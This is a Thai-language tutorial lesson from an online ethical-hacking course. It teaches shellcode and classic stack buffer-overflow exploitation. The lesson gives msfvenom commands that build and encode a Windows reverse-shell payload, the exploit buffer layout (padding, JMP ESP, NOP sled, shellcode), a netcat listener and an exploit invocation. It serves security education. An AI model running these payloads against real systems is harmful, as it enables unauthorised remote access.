0Pricing
Ethical Hacking Academy · บทเรียน

เชลล์โค้ดและการโจมตีด้วยช่องโหว่

รับเชลล์

เชลล์โค้ดและการโจมตีด้วยช่องโหว่ เป็นบทเรียน Ethical Hacking Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Ethical Hacking Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Ethical Hacking Academy มีบทเรียนทั้งหมด 4 บทเรียน

เชลล์โค้ดคืออะไร

เชลล์โค้ด คือโค้ดเครื่องขนาดเล็กที่ทำงานบางอย่างเมื่อถูกเรียกใช้ โดยแบบคลาสสิกคือการเปิดเชลล์ เชลล์โค้ดเป็นเพย์โหลดที่คุณเปลี่ยนเส้นทางการทำงานไปหา หลังจากควบคุม EIP ได้แล้ว

เชลล์โค้ดเขียนเป็นไบต์ดิบ (รหัสคำสั่ง) เพื่อให้ฉีดเข้าสู่หน่วยความจำได้โดยตรง

ประเภทของเพย์โหลด

เป้าหมายทั่วไปของเพย์โหลด ได้แก่:

  • Bind shell: เปิดพอร์ตที่รอรับการเชื่อมต่อบนเครื่องเหยื่อ
  • Reverse shell: เชื่อมต่อกลับไปยังผู้โจมตี (ทำงานผ่านไฟร์วอลล์/NAT ได้ดีกว่า)
  • Execute command: เรียกใช้คำสั่งเดียว เช่น การเพิ่มผู้ใช้

Reverse shell เป็นรูปแบบที่พบได้บ่อยที่สุดในการปฏิบัติงานจริง

การสร้างด้วย msfvenom

msfvenom ใช้สร้างเพย์โหลด คุณระบุประเภทเพย์โหลด แอดเดรสและพอร์ตของตัวรอรับ รูปแบบผลลัพธ์ และอักขระต้องห้ามที่ต้องหลีกเลี่ยง

แฟล็ก -b ใช้ตัดอักขระต้องห้ามออก ส่วน -f ใช้กำหนดรูปแบบผลลัพธ์

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f c

เหตุใดจึงต้องเข้ารหัส

เชลล์โค้ดดิบมักมีอักขระต้องห้าม (เช่น ไบต์ว่าง) ตัวเข้ารหัสจะเปลี่ยนเพย์โหลดเพื่อหลีกเลี่ยงไบต์เหล่านั้น แล้วเติมส่วนถอดรหัสไว้ด้านหน้าเพื่อกู้คืนโค้ดเดิมขณะทำงาน

ตัวเข้ารหัสแบบคลาสสิกคือ x86/shikata_ga_nai

msfvenom ... -e x86/shikata_ga_nai -b "\x00"

ตัวถอดรหัสและการแก้ไขตัวเอง

เชลล์โค้ดที่เข้ารหัสจะถอดรหัสตัวเองในหน่วยความจำก่อนทำงาน การแก้ไขตัวเองนี้ต้องใช้พื้นที่เผื่อเล็กน้อยบนสแตก จึงเป็นเหตุผลหนึ่งที่ราง NOP และพื้นที่บัฟเฟอร์ที่เพียงพอมีประโยชน์

บางครั้งคุณต้องปรับ ESP ก่อน เพื่อไม่ให้ตัวถอดรหัสเขียนทับโค้ดของตัวเอง

การประกอบการโจมตีขั้นสุดท้าย

บัฟเฟอร์การโจมตีที่สมบูรณ์ประกอบด้วย:

  • ข้อมูลเติมจนถึงออฟเซ็ต
  • แอดเดรสย้อนกลับ JMP ESP
  • ราง NOP
  • เชลล์โค้ดที่เข้ารหัส

ส่งข้อมูลนี้ไปยังข้อมูลนำเข้าที่มีช่องโหว่ แล้วการทำงานจะไหลเข้าสู่เพย์โหลดของคุณ

buf = "A"*offset + ret + "\x90"*16 + shellcode

การตั้งค่าตัวรับการเชื่อมต่อ

สำหรับรีเวิร์สเชลล์ คุณต้องเปิดรอการเชื่อมต่อบนเครื่องของคุณก่อนที่จะทริกเกอร์ช่องโหว่ ตัวรับการเชื่อมต่อ Netcat แบบง่ายจะรับการเชื่อมต่อขาเข้ามา

สำหรับเพย์โหลดแบบแบ่งระยะ ให้ใช้ multi/handler ของ Metasploit แทน

nc -lvnp 4444

การทริกเกอร์ช่องโหว่

เมื่อตัวรับการเชื่อมต่อพร้อมแล้ว ให้ส่งบัฟเฟอร์ที่จัดเตรียมไว้ไปยังเป้าหมาย หากทุกอย่างลงตัว เชลล์โค้ดจะทำงาน และตัวรับการเชื่อมต่อของคุณจะได้รับเชลล์จากเครื่องเหยื่อ

ตอนนี้คุณสามารถสั่งให้ทำงานได้ด้วยสิทธิ์ของโพรเซสที่มีช่องโหว่

python exploit.py 10.0.0.20 9999

การแก้ไขปัญหา

หากทำงานไม่สำเร็จ ให้ตรวจสอบสาเหตุที่พบบ่อยดังนี้:

  • มี อักขระที่ไม่ถูกต้อง แทรกอยู่ในเชลล์โค้ดหรือที่อยู่ส่งคืน
  • รางเลื่อน NOP สั้นเกินไป
  • ตัวถอดรหัสมีพื้นที่บนสแตกไม่เพียงพอ (ให้ปรับ ESP)
  • ออฟเซ็ต หรือเอนเดียนเนสไม่ถูกต้อง

การดีบักอย่างเป็นระบบในเครื่องมือดีบักจะช่วยแยกสาเหตุของปัญหาได้

นอกเหนือจากบัฟเฟอร์โอเวอร์โฟลว์แบบคลาสสิก

เมื่อเปิดใช้ DEP และ ASLR แล้ว เชลล์โค้ดธรรมดาบนสแตกจะไม่ทำงาน การโจมตีสมัยใหม่ใช้ Return-Oriented Programming (ROP) เพื่อเชื่อมต่อชุดคำสั่งที่มีอยู่เดิม และใช้การรั่วไหลของข้อมูลเพื่อเอาชนะ ASLR

หลักสูตรนี้สอนพื้นฐานที่เทคนิคขั้นสูงเหล่านั้นต่อยอดขึ้นมา

แบบแบ่งระยะเทียบกับแบบไม่แบ่งระยะ

เพย์โหลดมีอยู่สองรูปแบบ เพย์โหลดแบบไม่แบ่งระยะ มีเชลล์โค้ดทั้งหมดรวมอยู่ในก้อนข้อมูลเดียว ส่วน เพย์โหลดแบบแบ่งระยะ จะส่งสตับขนาดเล็กที่ดาวน์โหลดส่วนที่เหลือจากตัวจัดการของคุณ

เพย์โหลดแบบแบ่งระยะใช้พื้นที่ในบัฟเฟอร์น้อยกว่า แต่ต้องใช้ตัวจัดการที่เข้าคู่กัน เช่น multi/handler ของ Metasploit เพื่อส่งระยะที่สอง

ตรวจสอบอย่างรวดเร็ว

ลองทบทวนว่าเหตุใดเชลล์โค้ดจึงมักถูกเข้ารหัส

สรุปทบทวน

คุณดำเนินห่วงโซ่การโจมตีจนเสร็จสมบูรณ์แล้ว:

  • เชลล์โค้ด คือเพย์โหลด โดยรีเวิร์สเชลล์ใช้งานได้จริงมากที่สุด
  • สร้างและเข้ารหัสด้วย msfvenom เพื่อหลีกเลี่ยงอักขระที่ไม่ถูกต้อง
  • ประกอบแพดดิ้ง + JMP ESP + รางเลื่อน NOP + เชลล์โค้ด จากนั้นเริ่มตัวรับการเชื่อมต่อและทริกเกอร์การโจมตี
  • เป้าหมายสมัยใหม่ต้องใช้ ROP และการรั่วไหลของข้อมูลเพื่อเอาชนะ DEP/ASLR

คุณเรียนจบหลักสูตรการโจมตีด้วยบัฟเฟอร์โอเวอร์โฟลว์แล้ว

คำถามที่พบบ่อย

บทเรียน “เชลล์โค้ดและการโจมตีด้วยช่องโหว่” ฟรีหรือไม่

ใช่ — ข้อความเต็มของ “เชลล์โค้ดและการโจมตีด้วยช่องโหว่” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Ethical Hacking Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Ethical Hacking Academy มีบทเรียนทั้งหมด 4 บทเรียน

คุณจะเรียนรู้อะไรในบทเรียน “เชลล์โค้ดและการโจมตีด้วยช่องโหว่”

รับเชลล์ คุณปฏิบัติ Ethical Hacking Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน

คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Ethical Hacking Academy หรือไม่

ไม่จำเป็นต้องมีประสบการณ์มาก่อน Ethical Hacking Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน

บทเรียน “เชลล์โค้ดและการโจมตีด้วยช่องโหว่” ใช้เวลานานแค่ไหน

บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย

ฉันเขียนและรันโค้ดในบทเรียน Ethical Hacking Academy นี้ได้ไหม

ได้ บทเรียน Ethical Hacking Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ

บทเรียนทั้งหมดในหลักสูตรนี้

  1. หน่วยความจำและสแตก
  2. การทำ fuzz เพื่อค้นหาการล่ม
  3. การควบคุม EIP
  4. เชลล์โค้ดและการโจมตีด้วยช่องโหว่
← กลับไปที่ Ethical Hacking Academy